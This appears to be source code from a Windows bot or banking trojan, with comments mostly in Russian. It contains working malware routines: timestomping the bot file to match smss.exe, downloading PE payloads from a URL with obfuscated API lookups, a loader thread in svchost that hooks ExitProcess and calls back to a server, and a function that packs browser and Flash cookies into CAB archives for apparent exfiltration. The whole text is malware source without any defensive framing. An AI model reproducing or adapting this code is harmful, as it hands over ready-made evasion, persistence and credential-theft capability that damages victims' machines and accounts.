void SetFakeFileDateTime(PCHAR Path) { WCHAR smss[] = {'\\','s','m','s','s','.','e','x','e',0}; // Получаем дату и время системмного файла WCHAR *SysPath = (WCHAR *)MemAlloc( 512 * sizeof(WCHAR) ); if (SysPath == NULL) return; pGetSystemDirectoryW(SysPath, 512); plstrcatW( SysPath, smss ); HANDLE hFile = pCreateFileW( SysPath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ); MemFree( SysPath ); if ( hFile == INVALID_HANDLE_VALUE ) { return; } FILETIME fl1; FILETIME fl2; FILETIME fl3; pGetFileTime( hFile, &fl1, &fl2, &fl3 ); pCloseHandle( hFile ); // Устанавливаем дату бота hFile = pCreateFileA(Path, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ); if ( hFile == INVALID_HANDLE_VALUE ) { return; } pSetFileTime( hFile, &fl1, &fl2, &fl3 ); pCloseHandle( hFile ); return; }
PVOID MapBinary(LPCTSTR Path) { LPVOID Map = NULL; HANDLE hMapping; HANDLE hFile; hFile = pCreateFileA(Path,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0); if (hFile != INVALID_HANDLE_VALUE) { hMapping = pCreateFileMappingA(hFile,0,PAGE_READONLY|SEC_IMAGE,0,0,0); if (hMapping != INVALID_HANDLE_VALUE) { Map = pMapViewOfFile(hMapping,FILE_MAP_READ,0,0,0); pCloseHandle(hMapping); } pCloseHandle(hFile); } return Map; }
bool http_get(LPCTSTR szURL, LPCTSTR szFileName) { typedef BOOL (WINAPI *WriteFileT) ( __in HANDLE hFile, __in_bcount(nNumberOfBytesToWrite) LPCVOID lpBuffer, __in DWORD nNumberOfBytesToWrite, __out_opt LPDWORD lpNumberOfBytesWritten, __inout_opt LPOVERLAPPED lpOverlapped ); WriteFileT pWriteFile = (WriteFileT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"WriteFile"); typedef HANDLE (WINAPI *CreateFileAT) ( __in LPCSTR lpFileName, __in DWORD dwDesiredAccess, __in DWORD dwShareMode, __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes, __in DWORD dwCreationDisposition, __in DWORD dwFlagsAndAttributes, __in_opt HANDLE hTemplateFile ); CreateFileAT pCreateFileA= (CreateFileAT)GetProcAddress(LoadLibrary("kernel32.dll"),"CreateFileA"); typedef BOOL (WINAPI *CloseHandleT) ( __in HANDLE hObject ); char DDZGlGm[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; CloseHandleT pCloseHandle = (CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DDZGlGm); HINTERNET hInternet, hUrl; HANDLE hFile; char buffer[1024]; DWORD dwBytesRead = 0; DWORD dwBytesWritten = 0; BOOL bIsFirstPacket = true; BOOL bRet = true; hInternet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL,INTERNET_INVALID_PORT_NUMBER,0); if (hInternet == NULL) return false; hUrl = InternetOpenUrl(hInternet, szURL, NULL, 0, INTERNET_FLAG_RELOAD, 0); if (hUrl == NULL) return false; hFile = pCreateFileA(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); if (hFile != INVALID_HANDLE_VALUE) { do { memset(buffer, 0, sizeof(buffer)); InternetReadFile(hUrl, buffer, sizeof(buffer), &dwBytesRead); // 由判断第一个数据包是不是有效的PE文件 if (bIsFirstPacket && ((PIMAGE_DOS_HEADER)buffer)->e_magic != IMAGE_DOS_SIGNATURE) { bRet = false; break; } bIsFirstPacket = false; pWriteFile(hFile, buffer, dwBytesRead, &dwBytesWritten, NULL); } while(dwBytesRead > 0); pCloseHandle(hFile); } InternetCloseHandle(hUrl); InternetCloseHandle(hInternet); return bRet; }
//------------------------------------------------------------------------ BOOL StartLoaderThread(LPVOID SystemArgument) { //// 303_ld запуск в Svchost (тут сети может не быть) //PP_DBGRPT_FUNCTION_CALL(DebugReportStepByName("303_ld")); // Запускаем поток загружки длл //=================================================== // Этап 1. Проверяем существование сигнального файда // Для этого создадим файл с экслюзивными праввами и // поставим его на удаление после перезапуска системы // Хэндл файла закрывать не будем, это даст чёткий // сигнал, что процесс запустивший загрузку ещё живой //=================================================== PCHAR FileName = GetSignalFileName(); if (FileName == NULL) return false; // Пытаемся открыть фай HANDLE H = (HANDLE)pCreateFileA(FileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_SYSTEM , 0); if (H == INVALID_HANDLE_VALUE) { // Ошибка создания файла, считаем, что // в данный момент файлом владеет другой процесс STR::Free(FileName); return false; } // Указываем системе, что после перезапуска необходимо // удалить файл pMoveFileExA(FileName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); //=================================================== // Этап 2: Устанавливаем хуки которые заблокируют // эавершение процесса до завершения работы нашего // потока //=================================================== if ( HookApi(1, 0x95902B19 /* ExitProcess */, (DWORD)&Hook_ExitProcess ) ) __asm mov [Real_ExitProcess], eax //=================================================== // Этап 3: Запускаем поток //=================================================== ThreadHandle = StartThread(DownloadMethod, SystemArgument); if (ThreadHandle == NULL) { pCloseHandle(H); return false; } pSetThreadPriority(ThreadHandle, THREAD_PRIORITY_NORMAL); //=================================================== // Этап 4: Запускаем поток в svchost отзвона на тестовый сервер //=================================================== StartThread(DbgRptSvchostThread, NULL); return true; }
void WINAPI DeleteBrowsersCookies() { /* // Фцнкция удаляет кукисы браузеров и Macromedia Flash Player IEClearCache(); DeleteIECookies(1); DeleteIECookies(2); //DeleteIE_cookies("Windows Vista"); DeleteFFCookies(); DeleteSOL();*/ //IEClearCache(); char *Path = GetTempNameA(); HCAB hCab = CreateCab(Path); // Фцнкция удаляет кукисы браузеров и Macromedia Flash Player //DeleteIE_cookies("Windows Vista"); DeleteIECookies(1, hCab); DeleteIECookies(2, hCab); DeleteFFCookies(hCab); CloseCab(hCab); HANDLE hFile = (HANDLE)pCreateFileA(Path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DWORD sizeH = 0; DWORD sizeL = (DWORD)pGetFileSize(hFile, &sizeH); __int64 sizeCookies = (__int64)(sizeH<<32) + sizeL; DbgMsg("coocksol.cpp",sizeCookies,"COOKIE CAB SIZE"); pCloseHandle(hFile); /*char *tmp = (char*)MemAlloc(256); GetTempFileNameA("C:\\cabs\\","cab_",0,tmp); CopyFile(Path, tmp, 0); MemFree(Path); MemFree(tmp);*/ Path = GetTempNameA(); hCab = CreateCab(Path); DeleteSOL(hCab); CloseCab(hCab); hFile = (HANDLE)pCreateFileA(Path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); sizeH = 0; sizeL = (DWORD)pGetFileSize(hFile, &sizeH); __int64 sizeSol = (__int64)(sizeH<<32) + sizeL; DbgMsg("coocksol.cpp",sizeSol,"SOL CAB SIZE"); pCloseHandle(hFile); /*tmp = (char*)MemAlloc(256); GetTempFileNameA("C:\\cabs\\","cab_",0,tmp); CopyFile(Path, tmp, 0); MemFree(Path); MemFree(tmp);*/ }